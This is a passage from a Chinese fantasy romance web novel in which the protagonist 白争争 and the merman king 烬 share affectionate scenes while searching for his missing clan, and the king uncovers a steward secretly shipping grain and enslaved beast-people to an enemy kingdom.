海中的人鱼像引诱旅人的妖精,白争争屏息痴看着,人鱼缓缓靠近,唇上微凉。 第一次真正意义上的亲吻,白争争生涩得紧。 偏偏初生牛犊,莽上去就是了。 最后磕了嘴唇不说,还被烬含着唇瓣,舔过上颚的每一寸,逗弄着舌尖,直咬得舌根泛疼。 烬掌心始终贴着那薄薄的后腰,轻抚着,那处细嫩的皮肉红了一大片。 指腹像落在最好的羊脂玉上,不想放开。 烬吻一会儿,在白争争喘不过气憋红了脸时松开些他。 幽深的眼映着伴侣。 亚兽人微微张唇呼吸,鼻尖泛红,像哭过的可怜样子。 人鱼重重沉了口气,挨不过几息,又吻上去攻城略地。 白争争轻哼着,手指搅动着烬背后的长发,一会儿紧一会儿松,哼哼唧唧,舒服又难受。 不知多久,唇都麻了。 殷红的舌尖颤颤巍巍抵着烬退出来,含泪委屈控诉:“不、不亲了。” 烬鼻尖挨着他,碰了下。 “要亲。” “那、那等我歇一会儿再亲。” “嗯,等会儿再亲。”烬完全将人拢住,笑得胸腔震动。 怎么这么乖。 白争争挂着泪珠,吸了吸麻木的舌尖。抬头一看,竟然飘飘荡荡,都已经能看得见城堡了。 少说亲了一个小时。 他是甜糕吗,这么好吃? 白争争脚丫子踩了踩大尾巴,又被托着臀抱在尾巴上。距离拉近,身体相触,两个兽人四目相对。 白争争鼻头红,眼中水光潋滟,唇也肿了。 他不好意思地脑袋一埋。 烬却亲了亲他鼻尖,手往下探去。 “不、别……” “嗯,兽皮松了。” 白争争呼出一口气,感觉自己被逗了,一口咬在烬的侧颈。 烬贴了贴伴侣的脸安抚。 “饿了,先回去吃点食物。” 白争争:“哦……” 他骑在烬腰腹,气不过,又蹬了他尾巴一脚。 趴下嘶嘶喘气时,嫌硌得慌,用手往下刨了刨。烬没忍住叼着亚兽人的耳垂,轻轻地磨。 白争争脖子一缩。 “痒……” 上了岸,白争争已经全身无力,湿漉漉的趴在烬的背。 他忍不住往上爬了爬,垂下个脑袋看他。 人模狗样的。 在海里那么欺负他。 哼! 白争争抿住肿胀的唇,看人鱼路过,猛地低头藏起来。 下次不能亲这么久了。 * 城堡里,幼崽们已经吃过饭在睡午觉。 白争争洗了澡,散着一头长发。 烬看着亚兽人格外红润的唇,眼神暗了暗,拿过兽皮先将伴侣的头发擦一擦。 两人一起吃了饭,烬陪着白争争睡了一会儿。 下午白争争醒来时,烬又忙去了。 唇上还有些不舒服,白争争摸了摸,肿的。 他不好意思出去见兽人,就待在屋里,顺带将东西收拾收拾。 从山洞那边带过来的就几条兽皮裙,木偶跟鳞片。 收拾不了多久,清就来了。 白争争下意识背过身去,手在兽皮上挪来挪去,弄乱了刚刚整理好的东西,又装作刚开始的样子。 清:“争争,你问清楚了吗?” 白争争背对他,“问清楚了。是有兽人捣鬼,能解决。” “那就好。” 清身后,幼崽一个个探头往屋里看。 烬不在,立马冲进去,围在白争争身侧,懂事的还帮他叠兽皮。 清又问:“那争争,龟鸣的银币我们什么时候……” “呀!争争嘴被咬了!”肉道。 一瞬间,幼崽们全部仰头看着白争争的嘴唇。连清也绕到前头来看。 白争争控制不住,脸顿时红了。抬手想捂,又觉得有些刻意。最后直愣愣立着,被清拉着看了个遍。 清蹙眉:“虫子咬的?要不弄点草药。” 白争争脚趾已经快抠进地里了。 偏偏幼崽还觉得没看清,直接往他身上爬,凑近了脑袋来看。 白争争总不能说:不是虫子,是人鱼咬的。 他道:“不用,明天就好了。” 幼崽伸爪,白争争一把握住,拎着幼崽轻轻放在地上。“爪子洗没洗就摸,脏。” 幼崽看着自己黑黑的爪垫。 不脏不脏。 清跟年没开窍,想不到这一块儿。但后头笑声轻落下,白争争一听就是到是城堡的大管家菱。 他没敢转头。 清回身问:“菱,有事吗?” 菱道:“听到你们要草药,过来看看。” 白争争:“不用!” 菱眼睛微弯,潇洒走人。一头银发卷翘,腰细腿长,背影都漂亮。 “王也是,对自己小伴侣这么没分寸。” * 入夜,烬回来。 白争争光着脚丫踩在床上,居高临下看着一身水汽的烬。 “我被嘲笑了。” “谁敢?”烬缓步走来,扶上伴侣的后腰。那里有两个小窝,摸着极好。 白争争一点没察觉自己正在被吃豆腐,盯着人控诉道:“没分寸!” 烬:“嗯。谁说的?告诉我,我帮争争出气。” 白争争脑袋往侧边一偏。 “别了吧……是菱。” 白争争说出来后,暗想自己或许有当妖妃的潜力,都敢离间大王与王的心腹了。 烬轻笑,捏着白争争的下巴让他侧回头来看着自己。 “菱,他更没分寸。” 白争争看他眼色深沉,两手抓住他耳朵,着急道:“我就是说着玩儿,你可别惩罚人家。” 烬道:“我说的没分寸,是对他的伴侣。” “怎么说?”白争争往烬身上一跳,自个儿挂好,由他抱着放在怀里。 然后开始听故事。 “菱有个护得跟眼珠子似的小伴侣,刚带回来时人家天天关在屋里不让人家出来。我没见过,但据秋说……” 王顿住,有些难以启齿。 可看白争争眼眸闪亮,又忍不住压着他后颈,在他耳畔说:“都快起不来了。” 白争争面红。 又害羞,又想听。 王虽然对这些事情不感兴趣,但为了讨得自己伴侣喜欢,没忍住背后说自己属下。 当晚,菱连打三个喷嚏,站在城堡外的高台上看着海面。 嗯,一定是伴侣想他了。 …… 闲聊着,目光不经意一对。 白争争没反应过来时,又被缠住了。 大尾巴卷住他两条小腿,手指被扣紧压在兽皮上,白争争只能任由摆布。 像被撬开了壳,烬贴上去,他就自己启了唇,乖乖地探出舌头让坏蛋咬着吃。 海中的亲吻像打开了新世界的大门,烬喜欢上了缠绕伴侣的感觉。 白争争害羞,但小心翼翼地回应,一切都是那么水到渠成。 …… 翌日,幼崽贪玩要去海边捡贝壳。 烬叫了秋跟着去。 清几个围着幼崽打转,想起来忘了问白争争给龟鸣准备的银币怎么送过去。 清留下其他兽人看着,回去一趟。 他没在睡觉的屋里找到白争争,却看到饭厅里,争争坐在人鱼身上,半身躺在桌子上。 两个兽人挨得很近,脑袋贴着脑袋。 清想起白争争的唇好像被虫子咬了,没准烬在检查伤口,往里走了两部,却发现争争被人鱼叼住唇反复地吃。 清忙捂住脸,撒腿就跑。 白争争被亲得恍惚,推了推烬的肩膀,却跟调.情似的没了力气。 他攥住烬的头发,下巴微扬。颈侧被叼住,他睫毛濡湿,眼里水润,轻皱着眉头有些可怜。 他发现开荤之后,烬比他还黏人了些。 第54章 第 54 章 是哥哥 人鱼一族身强体健, 缠上伴侣两天三夜不断也是可以。 白争争有些吃不消,干脆每天早上等烬一忙,就跑出去跟洋他们找族人。 转眼,半个月都过去了。 白争争忽然得知族人有消息了! 他忍着激动, 留下幼崽在城堡里跟人鱼玩儿, 带上清跟年就直奔兽人家中。 那兽人就住在城堡附近。 是个牛兽人, 头顶两个大角, 皮肤深麦色, 宽鼻圆脸, 一副憨厚的模样。 “你真的见过这个兽人?”白争争声音发涩。 清跟年紧盯着兽人, 生怕牛兽人摇头。 兽人有些局促地往后退了退。 “是, 是见过。” 白争争急问:“那你见到他的时候他是什么模样?” 牛兽人怕他们来寻仇的,语无伦次道:“他戴着帽子,我拉车的时候他撞到了我。脖子上有个很长的伤口。是白头发……手、手上的龟甲摔在地上,被我踩、踩烂了。” 怕兽人责怪,他又迅速道:“我本来想赔给他, 但他拉上帽子走了。” 清忍不住上前一步问:“那你知道他在哪儿吗?” 牛兽人:“我就只见过他这一面。” 清有些失望。 年拍了拍他的肩膀, 心情倒不错。 虽然没找到兽人, 但可以肯定他就在人鱼王国。 怀抱着这样的期待,白争争继续跟着兽人们找。 他早出晚归,只中午吃饭的时候回来一趟。 但随着时间越长,烬看着白争争每天精神振奋,却渐渐消瘦的身体,隐隐感觉到有些不对劲。 连幼崽都察觉到了。 这天,白争争照旧早起吃过饭就离开。清、年还有风几个都跟了去。 等几个成年兽人一走,幼崽当即结伴去找烬。 烬见幼崽扒着门口,大大小小十多个往里探头。 他放下手中的信, 示意幼崽进来。 “烬,你知道争争他们出去做什么了吗?”幼崽试探着往里走,小脸上的肉一颤一颤的。 烬:“他怎么跟你们说的?” 雁道:“他说出去想挣银币的法子,可我们觉得不对。” 烬:“他们在做很重要的事情,你们耐心等等,会有结果。” 雁原地转圈:“可是他们很不对劲,争争瘦了。” 肉道:“不开心。” 芽道:“对!年跟清清他们都这样,都、都……着急。” 从兽人们确定小祭司出现在人鱼王国,到现在已经快一个月。 这一个月间他们再没有发现。 人鱼跟几个林猫就差把人鱼王国翻过来再找一遍了。 时间越久,几个成年林猫兽人绷得越紧。 现在被幼崽察觉到了。 烬知道白争争不告诉幼崽的原因,自然也不会说出来让他们跟着担忧。 他道:“王国最近有事需要他们的帮忙。” 幼崽顿时问:“很难吗?” 烬:“很难。” 肉问:“那他们会受伤吗?” 烬:“不会。” 就在烬以为幼崽还会继续问的时候,幼崽却停了下来。 地上铺了兽皮,幼崽直接坐在上面。雁老成地叹了口气,摇摇头道:“大兽人总是这样,瞒来瞒去,还以为我们不懂。” “就是。”肉瞧了一眼烬桌上的果子,吸溜口水。 烬见状,将果盘放下,让他们自己拿着吃。 幼崽挨个儿分了,乖乖道:“烬,我们能留在这里玩儿吗?” 烬:“可以。” 幼崽分散开来,有的坐在边上杵着肉乎乎的脸发呆。有的坐在烬的腿边,背靠着他玩儿手上的麻线。 更多的几个聚集在一起,一边啃果子一边说着话,不知道在商量什么。 幼崽最近是被成年兽人忽略的,烬明白,他们似乎只是想什么有个大兽人陪着。 …… 王国里的人鱼有限,大多去了边界守卫。烬已经派了大半人鱼出去帮忙,但效果不佳。 林猫族人可能不在人鱼王国了。 烬目光落在兽皮的信上。 这是从南边海上传来的,上面用兽人的语言写的是那边银矿里的情况。 并不是所有兽人都会写兽人的字。 送过来这张兽皮的,显然是菱口中那个小伴侣。 上面说,那里面有很多被抓过去的兽人。 …… 漫长的雨季结束了。 人鱼王国的气温降了些,兽人们陆续套上了兽皮做的马甲。 找林猫兽人的事情已经进行了三个月,白争争从最开始的的期待,到担忧,现在只剩下惶恐。 他们已经将城里都翻过来了,却始终没有族人的情况。 白争争仿佛以为之前从牛兽人那里听到哥哥的事儿是幻觉。 清看着白争争失魂落魄,隐隐快要撑不住的样子,知道不能再找了。 只要留着一线希望,他们觉得族人还活着,争争还有他们自己才能撑下去。 再又一个归来的夜晚,清叫停了兽人。 人鱼王国这边的天气总是很好,晚上抬头,便是成片如闪烁的星辰。 圆月也清朗,映着王国。 人鱼都散去了,那城堡前的高台边,清紧紧抓住白争争的手。 “争争,我们先休息休息,不找了。” 白争争笑了笑。 “好。” 他眼中光芒破碎,隐隐快要撑不住。可在清跟年面前,他不能倒。 两个兽人跟着找了这么久,也是从期望到失望,那些失踪的族人里面何尝没有他们的阿爸。 白争争反握住清的手,缓了缓喉咙的干涩,才低声道:“城里找不到,那只能离开去别的地方了。” “嗯!”清顿时红了眼眶。 年抱住清,脑袋抵着他肩膀胡乱蹭。“不伤心,又不是死了。” 清急道:“不会说话不要说!” 年瘪嘴:“哦。” 他那不是想安慰清清嘛。 白争争后靠着高台的墙面,道:“年,带清回去。幼崽问,就说帮烬做的事儿做完了。” 年道:“我们知道。” 为了不让幼崽担心,烬跟他们说过。 幼崽现在当他们是在帮王国做事。 两个兽人互相搀扶着离开,走了一天,白争争腿软,他撑着后面的墙想找个地方坐上一会儿。 后腰被稳稳托住,烬从后头走来。 “累了。” 白争争转过身,踮脚环住他脖子,闷闷不语地靠向他。 “去海边走走?” 怀里的亚兽人一动不动,说话都没了力气。 烬轻轻托起他,抱着人缓慢绕城堡走向后面的海岸。 不知不觉,到人鱼王国已经三个月。 天气渐凉,海边风吹着也有些冷意了。烬徐徐走着,慢慢感觉肩上湿了。 亚兽人真委屈的时候是不会哭出声的。 烬蹭了蹭他的耳侧,本想将海那边银矿的事情告诉亚兽人。但万一那边也没有林猫兽人的踪迹,岂不是又会白高兴一场。 低低的啜泣声被海风带走,烬听得喉咙滚了滚,到底是没说。 最怕给了希望,再一次失望。 烬收紧手臂,这才多久,他的小伴侣抱着已经没多少软肉了。 白争争埋在烬的肩膀上,哭得累了,恹恹地靠着他也不动。 烬一直慢慢抱着他走。 这会儿才停下,找了个块儿临海的石头上坐着。 小伴侣放在腿上,托着后腰,面对着自己。 烬轻轻抹去他眼角的湿润,手心一软,亚兽人侧脸贴了上来。他软软地看来,眼里闪烁着晶莹。 “烬,你说哥哥去哪儿了呀。我都找了这么久了,怎么还没看到他。” 没看到哥哥,也没其他林猫族人的消息。 烬将他往怀里拢了拢。 “会找到的。或许他有事,又离开了。现在已经知道他还活着,比什么都好。” 在烬跟白争争回林猫部落的那一次后,烬都以为他哥不在了。 转念一想,兽人还在,确实已经很好了。 白争争只是累了,担惊受怕太久,一下子没了心气儿。 他听着海浪的声音,想象着或许就在某个地方等着他们的族人,心里渐渐好上了几分。 烬吻了下亚兽人的额角,“不担心,银矿那边的事快好了,之后我陪你去找。” 白争争:“好。” 烬担心他绷得太紧,把自己弄生病了,陪着他在海边说了许久的话。 却不想当天晚上,亚兽人睡在怀里全身滚烫。 烬连忙将祭司找来。 人鱼没没有惊动其他林猫兽人,又是烧热水,又是熬草药。 好在烬发现得及时,祭司听他将亚兽人带去海边闲聊,差点就骂他一顿。 房间里,亚兽人面色红得不正常。 烬抱他起来,将草药水喂进去。 祭司坐在一旁,看着两个兽人。 这是他第一次见到白争争。 此前他一直在南边,人鱼两边时常起争斗,他要救兽人。 也是这两天才回来,正好遇上这事儿。 祭司叫命,能力凌驾于所有部落的祭司之上。加上多年在外,帮着打仗的人鱼处理伤口,白争争这点问题在他这里能治疗。 祭司也是白发。 虽是中年,但眉目舒朗,依旧是个美大叔。 而美大叔瞧着自家王抱着怀里的小亚兽人又哄又拍的模样,心道占卜果然没错,是个小他许多外族。 “人家那么远过来,也不把他看好。” 烬道:“他在找族人。” 命:“林猫?” “嗯。” 命笑道:“人鱼一族是捅了林猫的窝了,菱那小子的伴侣也是林猫兽人。” 烬放下药碗,看亚兽人抓着自己头发的手,轻轻捏了两下。 “也是林猫?” “嗯。”命道,“也对,你当时不在,不知道那小子从海上捡回来的。” 烬忽然有个猜测。 “长什么样?” 命道:“这我没看见过,我一直在外面,只听人鱼们闲聊时听到过。菱那小子护得紧,别的人鱼看一眼都不行。” 烬还想叫菱来问问,但怀中的亚兽人鼻子皱了皱,忽然见吃进去的药给吐了出来。 命赶紧道:“用温水给他擦擦身体,我重新去煮。” 又是一阵兵荒马乱,烬心神被白争争牵着,哪里又顾得上其他。 * 第二天,幼崽们没看见白争争来吃饭。 起初他们以为兽人又出去了,可清他们都在。过会儿看菱端着药去争争屋里,才知道他生病了。 白争争不知道自己折腾了一晚,听到动静时,睁开眼,骨头缝里都泛着酸。 脑袋边蹲着幼崽,见他醒了,小手摸着他的脸,臊眉耷眼道:“争争,你难不难受?” 白争争:“还好。” 一出声,嗓子破碎,吓得幼崽连忙将他嘴巴捂住。 “你别说话。” 清见状,忙将这些小崽子给抱下床。让白争争好好喘口气儿。 菱将药汤放在一旁,道:“王刚刚才出去,马上过来。” 白争争:“我又没什么事,让他忙自己的。” 菱扫过这一圈快哭了的幼崽,没挑明昨晚的情况。 祭司让王灌了两次药,两次都吐了。最后王眼睛都红了,好在第三次喂的时候没吐。 * 议事厅。 秋说有事要讲,烬便让菱看顾着白争争,才过来这边。 到了地方,却见秋旁边立着两个林猫兽人。 一大一小,小的瘦弱,紧紧撑着年长些的亚兽人。 烬见大的两腿打颤,已经站不稳了。先让人鱼送去治疗。 等他俩走后,烬才问:“这林猫是争争找的族人?” “不是。”秋道,“他们只是被别的部落转卖过来,云猫族长买下来的。但是王,我发现一件很重要的事。” “说。” “他的雄兽人,云猫部落的族长正在往外头头转卖粮食,且已经持续很长一段时间了。” 云猫是负责帮人鱼种粮,他们自己的口粮都不多不少,怎么有多余的转送出去。 烬:“那个小林猫是之前在城门口撞了争争那个?” 秋点头。 烬道:“找人鱼盯着那家,这两个兽人是你直接将他们接过来的?” 秋摇头:“不是,我本来看林猫在找族人,想着帮他们一把就偶尔去那边看看,结果正好撞上那小兽人带着亚兽人爬洞出来,往外跑呢。” “这不是被我给遇上了,他们又怕回去,我就带来了。那云猫族长做的事,没准儿他们也知道。” 烬:“别打草惊蛇。” 秋:“没蛇。” 烬扫他一眼,“是叫你别惹了云猫族长注意,叫他警惕起来。” 秋被烬看傻子一样的眼神看得委屈。 “我知道了。” 烬担心自家伴侣,丢开手下,又回去看人去了。 菱送完药,在门口遇到进来的烬。 却见烬瞧着他,似乎有事想问。 又看门里白争争望来,烬只错身而过,没有开口。 菱觉得奇怪。 王有什么事在林猫面前说不得? 烬回来,直接掠过幼崽,坐在白争争身侧。 亚兽人歪身一靠,道:“你昨晚把我带去海边吹生病了。” “嗯。”烬捏住他手,端着药送到白争争唇边。 白争争皱了皱鼻子,憋着一口气,一骨碌地喝完。 幼崽也跟着皱起包子脸。 肉问:“争争好喝吗?” 白争争:“还剩点儿,你要尝尝吗?” 清看这幼崽真想尝,敲了一下他脑袋,“苦的。” 白争争笑出声。 肩膀薄薄一片,微微抖动。 烬将他往身前揽了揽,只觉得亚兽人笑容没了活力,蔫蔫儿的。 幼崽担心白争争,在这边陪了他一天。 清几次想将他们带走,好好休息,白争争却不让。 幼崽在热热闹闹的,他不会乱想。 好不容易到了晚上,白争争累了,幼崽也陪够了,清赶紧带着一大串幼崽走了。 白争争在床上睡了一天,穿了鞋,自个儿晃晃悠悠出去走走。 不知不觉离开城堡,又见外面高台上立着个兽人。 还是菱。 白争争奇怪他总站在这里,还没开口问,菱就走了下来。 “你不去屋里待着,王看不到人要着急。” 白争争道:“我跟他说过了。” 过来王国这么久,两个亚兽人好像从来没有好好说过话。白争争只知道菱是王国的大管家,跟秋偶尔斗嘴,有个在外没回来的伴侣。 其他一概不知。 菱独来独往习惯,遇到伴侣之前不乐意说自己的事儿,现在盯着白争争,却看他又几分熟悉的脸,不知不觉主动开了口。 “你跟我的伴侣很像。” 白争争:“哪里像?” 菱靠着高台,没答。 他望着天上零散的星星,有些怅惘道:“他都走了好久了,要是不回来怎么办?” 白争争:“你们人鱼一族不是认定一个伴侣就是一生,他怎么会不回来。” 菱:“他在银矿上。” 白争争眼皮一跳。 “你们这不好吧。” 菱被他瞪圆的眼睛逗笑,笑得身子轻颤,银发在月光下如缎。 “他是我的伴侣,自然是我们王国的兽人。你想到哪儿去了。” 白争争:“那不是怕你俩中间隔着什么家国情仇。” 自家王的心腹,还是不要跟敌人的兽人来往的好。 菱笑过,神情落寞下来。 “我还挺羡慕你的,想见王了,那么远都能自己找来。” 白争争一噎,顿时想到了他一手主导,早已经深入人心的谣言。 想解释,又没那脸皮。 也没说过几句话,白争争就看门口高大的兽人抓着兽皮出来。 菱撑起身道:“看看,离不得你。” 他说着,便往自己的住处走了。 他想,自己其实也离不得伴侣。 人鱼一族,应该大部分都这样。 白争争立在原地,等烬走上来,抓着他的手看着菱的背影道:“你把菱的伴侣派到敌方去了?” 外面风大,烬用兽皮将白争争裹住,又将他一头黑发弄出来。 “不是我。” “那是谁?” “那兽人自己要求的。” 白争争仔细想想,手撑着烬的双臂道:“莫不是那个兽人是寻常兽人,菱是大管家,他觉得配不上,所以要建功立业……” 烬看他越说越离谱。 任由他说完各种猜想,搂着他往回走。 “兽人没那么复杂,看对眼了就行。” “那他为什么要离开自己的伴侣去那么远,还那么危险的地方?设身处地的想,难道不应该远离危险,让伴侣不担心吗?” 烬眸光微闪。 是,为什么呢? 烬隐隐觉得,争争没找到的兽人,或许就在那边。 …… 第二天早上,白争争身体恢复得差不多,只是没找到族人,精神还差些。 烬直接叫菱去议事厅,等兽人关了门就问:“你那小伴侣叫什么名字?” 菱诧异道:“春。王怎么打听他?” 烬隐隐皱起眉。 他记得争争的哥哥不叫这个。 “他脖子上是不是有一道疤?” “你怎么知……”菱顿时反应过来,“我家小伴侣不会是林猫要找的……” 说着,菱瞳孔一缩。 “对,他也是林猫。” 烬看了眼门口,已然确定。 他道:“说说你们怎么认识的?” 菱当即道:“当时您不在,我们分队去寻找。我往南,秋往北,我是在海上捡到的他。” 当时,被海水泡得发皱的兽人紧紧抱着一块木板。 菱随手将他捞起来,只看一眼,就决定将兽人带回来。 兽人求生欲强,当时祭司还在前线,菱只能做简单的处理。 但兽人硬是靠着求生欲,自己醒来。 菱看上了人家,但雄兽人看着年纪不大,可冷漠了。 他死缠烂打,开始话都不说一句(喉咙没好,说不了)。 后头好不容易霸王硬上弓,成了伴侣。本以为就该和和美美在一起,可当祭司回来商量银矿的事时,伴侣听到了,极力要去。 本来族中想派一个卧底进去,人鱼族又不方便。 菱看他坚持,祭司都被他说得动摇了,菱气得还跟他吵了一架。 后来,他还是去了。 菱吸了吸鼻子,想到这事儿就气闷。 快半年不见了,伴侣不在,他担惊受怕,难受不已。 也不知道那没良心的会不会把他忘了,到时候回来,又得缠一遍。 “我当时就不明白,为什么他非得去。万一出了事,我怎么办……原来,是林猫啊。” 菱说到最后一句,都有些恍然。 他道:“争争找的族人,肯定就在那边了。” 烬道:“那边能传消息出来,但不能送进去。现在只知道、被抓过去很多兽人,但不知道具体情况,先不要在争争面前说。” 菱:“我知道。” 他昨晚看着白争争还觉得他与自己伴侣像,原来就是兄弟。 * 王城外围,后山上。 秋带着十几个人鱼躲在这里守株待兔,喂够了蚊子,等到半夜才听到山脚下传来的动静。 秋手一抬,人鱼们压低身子,隔着草缝观察着那一队上山的兽人。 他们身形高大,魁梧壮硕,显然不是云猫兽人。 秋看着他们绕后山,往海边走,缓缓带着兽人跟上。 那些兽人带着几十袋的粮食,送上海洋兽人背上,随后跟着一起离开海岸。 秋留下几个兽人继续盯梢,其余的悄悄潜入海中,不远不近地跟着。 一晃次日,烬思考着怎么快点把南边那些碍事的人鱼收拾了时,秋急匆匆跑进来。 “王!” 烬:“查出来了?” 秋道:“查出来了,粮食被送到了茯那边!” 茯是被烬弄死的南部那边的人鱼王。烬也是因为他,受了一身伤才被白争争捡到。 烬:“云猫族长管粮食多久了?” 秋仔细算算,心惊道:“三十年。” 烬平静道:“但愿他没往外送三十年粮食。你带回来那个林猫兽人治好了吗?” 秋赶紧低头道:“差不多能走了。” 烬:“带过来。” 第55章 第 55 章 干活儿 城堡外, 护卫队的住处。 秋带着两个兽人看了祭司之后,就把他们安顿在这里。父子两个单独一间屋子。 喝了药,休息了一晚,绘早早醒来。 小亚兽人头发干枯, 手腕细得一折就断。 他抱着膝盖坐在他阿爸身边, 墨黑的眼珠子直直盯着阿爸的睡颜, 还有些难以置信。 从前他阿爸带着他从云猫部落逃了很多次, 但每一次都会被抓回去, 然后被打得几天起不来床。 阿爸的眼睛就是那时候坏的。 后来他们被打怕了, 不敢跑了。 但阿爸身体越来越差, 要治疗, 他就不得不每晚偷偷出来采野果赚银币,给阿爸换草药。 跑得多了,绘就发现那个兽人似乎在悄悄做什么不好的事情。 他想告诉人鱼,作为给阿爸治病的交换。 阿爸的病已经不能再等了。 绘摸清了屋子里什么时候没兽人,趁着那时候将亚兽人带出来。没想到出来就遇到了人鱼, 他还没提交换呢, 王就让祭司给他们治病。 绘觉得王是个好人鱼。 发着呆, 就看自己阿爸眼皮下的眼珠动了动。 绘屏息,等他睁开眼了,才眼睛一弯,蹭着脑袋过去,贴在亚兽人手臂。 “阿爸。” “绘,咱们在哪儿?”亚兽人摸来,粗糙的掌心抚摸着幼崽的脸。 绘:“还在阿秋叔这里。” 亚兽人坐起来,绘忙搀扶着他,给他穿好鞋, 挪到桌旁。 上面放着人鱼送来的食物。 “阿秋叔送来的鱼,我做了,刚好能吃。” 一大一小吃饭很慢,胃口也小。秋找来时,两个已经放了碗,那陶罐里的鱼汤也就勉强下去了半截指头。 秋道:“抚,王要见你。” 亚兽人点点头,像早有预料。 * 抚走得慢,还没到城堡门口,额头就冒出不少汗珠。 秋见绘扶着他吃力,脚下停步,等亚兽人走上来,道:“不用着急。” 他试探着伸手,看亚兽人不排斥,才撑起他大半重量。 “王只是问你些事情。” 抚眼中没有神采,只微微点头。 “我知道的。” 进了屋里,烬看亚兽人脸色苍白,让秋给端了凳子。 兽人喘过气来,先问了礼,烬便道:“云猫族长在往外运粮食的事情你们知不知道?” 绘瑟缩了下,抓着自己阿爸的手深深低头。 人鱼知道了。 那他让祭司治了阿爸,他还能用什么交换? 抚似乎早预料到烬要问什么,格外镇定,只低声道:“知道,他不止往外运粮,还运兽人。” 秋瞧着亚兽人佝偻的肩膀,深深皱起了眉头。 亚兽人声音轻缓,慢慢道来,仿佛这样的话已经在心里准备了多年,就等着今天。 “我是西部林猫一族,我的族人生活在依山的海边。但十多年前,我的族人被抓,那个兽人将我们送往海上……” 西部与白争争他们东部的林猫隔着万里远,但两个部落的经历几乎可以说是一模一样。 部落被屠,大半兽人抓走被送往南部。 抚不是像争争哥哥一样在海中被救起,而是因为长得好看,被这件事的主导者云猫族长带回了自己部落。 从亚兽人口中得知,云猫族长已经为南部输送奴隶兽人以及粮食近二十年。 二十年间,他们用人鱼王国的粮食、兽人,养活了他们敌对的人鱼一族。 烬听着亚兽人几乎要泣血的声音,眸色幽深。 抚压在心里十年的事终于说出来,情绪激动得忍不住的呛咳。 秋上前,拍了拍快哭了的小兽人,试图给亚兽人止咳。 烬让秋将他带回去。 屋里没了其他兽人,烬才松懈靠在了椅背。 二十年,要不是这次争争来找族人,他们哪里想得到王国里还藏着这么个兽人。 * 夜晚海风咆哮,王城边缘,云猫族长住的房子里声音不断。 “快点,快点。” 身形矮瘦的兽人指挥着数十个高大的兽人搬运东西。 那兽皮袋里的银币脆响,被迅速送上外面的拉车。云猫族长全身罩着兽皮,飞快坐上车去。 他们直接绕过后山,赶往海边。 水中,早已等候在这儿的人鱼用武器抵着龟兽人的脖子。 待所有兽人爬上龟兽人的背,人鱼缓慢跟在后头。 云猫族长抹了把汗,看着越来越远的海岸呸了两声。 “两个小杂种,亏得老子养了这么多年,结果敢找人鱼报信。要不是我警惕……” 秋戳了戳龟兽人肚子,兽人委屈,身子忽然一翻。 只听扑通几声,兽人背上的银币跟云猫族长全掉进海中。 几个兽人在水中扑腾两下,骂骂咧咧试图去抓龟兽人。 却不想龟兽人飞快刨腿儿,几下躲在了人鱼身后。 海里黑漆漆的,人鱼就围在兽人们几米远的位置。 这些陆地上的兽人即便会水,但这里离岸边已经很远,游了一会儿,就渐渐往水中沉去。 云猫族长惊慌,一瞬间想不通为什么龟兽人会翻。他不停道:“救、救命!” 云猫族长飞快挣扎着四肢,嘴里不停地灌水。 在意识到龟兽人是故意的,他暗恨,可无济于事。“咕噜噜……救、救……” 龟兽人从人鱼后头探个脑袋,小心道:“他肚子鼓起来了。” 秋一棒子敲在龟兽人头上。 “你也跑不了。” 龟兽人委屈:“我又不乐意给他们干,可他们抓了我崽子跟伴侣,还有我阿爸,阿爷,阿爷的阿爸,阿爷的阿爷……” “行了!知道你们一族长寿!”后头的人鱼踹他一脚。 龟壳防御性极强,但龟喧不敢再废话。 人鱼凶残,能把龟壳撬了收拾他。 当晚,云猫族长都游出二里地,人鱼们贴心地让他跟那些大块头海水喝得饱饱的了,才让龟喧带着他们上岸。 当晚,人鱼城堡最下层,哀嚎声一阵接着一阵。 毛草做的鞭子抽断了两根,本就不怎么硬气的云猫族长将所做之事交代得一清二楚。 第二天,烬拿到审讯结果时,难得心情好上了几分。 南部的人鱼王国是在一座岛上,上头也种植粮食,但不如这边土地宽广,种出来的不够吃。 所以早在云猫族长开始管理这边粮食时,那边就买通了。 云猫族长对南部可以说格外熟悉,知道他们的食物来源,知道兽人数量,种植情况,甚至银矿的位置。 他对那边也足够忠心,甚至还把王国这边的种子跟种植技术都送过去。 卖他们卖得足够彻底。 烬当即招来祭司、菱还有秋,商量事情。 白争争见午饭时烬还没来,自个儿跑去找他。 也并非故意探听,这房子不怎么隔音,他在门外就听到兽人在说解救南部银矿里的兽人的事。 白争争愣住,林猫的字眼钻入他耳朵。 那瞬间,枯槁的身体像注入了清冽的泉水,如久旱逢甘霖一般,霎时活了过来。 白争争眼睛极亮,强忍着激动,等着他们商量完。 直到他肚子叫了一声,眼前半掩的门打开,他看到烬冷得结冰的眼睛,才平复下心情。 烬一顿,握住他的手,紧盯着亚兽人的脸。 他确认他听见了。 “哥哥……”白争争反握回去,捏紧了,急切问道。 烬:“嗯。” 白争争唇角弯了弯,眉目灿烂,笑得前所未有的明快漂亮。 烬无奈揉了揉他的头发。 知道就知道了吧。 “这是祭司,命。”他跟白争争介绍道。 白争争知道自己生病也是祭司帮了忙,当即松开烬的手,眉宇间还雀跃着,道:“命祭司,我是白争争。谢谢您给我看病。” 命:“是个乖孩子。” 白争争抿唇,忍不住露出个孩子气的笑来。 长辈面前,他总会活泼些。 “先去吃饭吧。”烬道。 他听到自家伴侣肚子叫了。 白争争不好意思红了脸,紧紧跟在烬的身边。 待吃过饭,幼崽散去,烬走到哪儿,白争争就跟到哪儿。 直到人鱼无奈停下,抓着人圈在身前。 “以前不是想问什么就问,现在哑巴了?” 白争争迅速攀住他的手,有些干涩道:“我哥,真的在南部矿上?” “嗯。”烬捏捏他手指,“你不是听到了。” “那族人也在?” “多半。不然你哥也不会好不容易跑了,又回去。” 白争争喜得站不住,被烬圈住了也动来动去。 他脸上像覆了一层柔光,比先前蔫巴的样子看起来舒服多了。 烬拢着他后腰拉近,瞧着他道:“这么高兴。” 白争争嘿嘿一笑,两手抓着烬耳朵摸了摸,又摸了摸,忍不住弯腰贴脸过去蹭。 “我就说我哥绝对不会乱跑的。” 烬也不问他什么时候说过,只看着伴侣高兴,他也高兴。 白争争乐够了,花了好长时间冷静。 随后意识到他们现在在哪儿,又开始忍不住担忧起来。烬早知他会这样。 烬抓着人坐在腿上圈住,不让他动了。 白争争道:“烬,我想知道我哥那边的情况,还有,族人们怎么会被送到那个地方?” 烬道:“还记得你来时撞到的那个林猫兽人吗?” 白争争点点头。 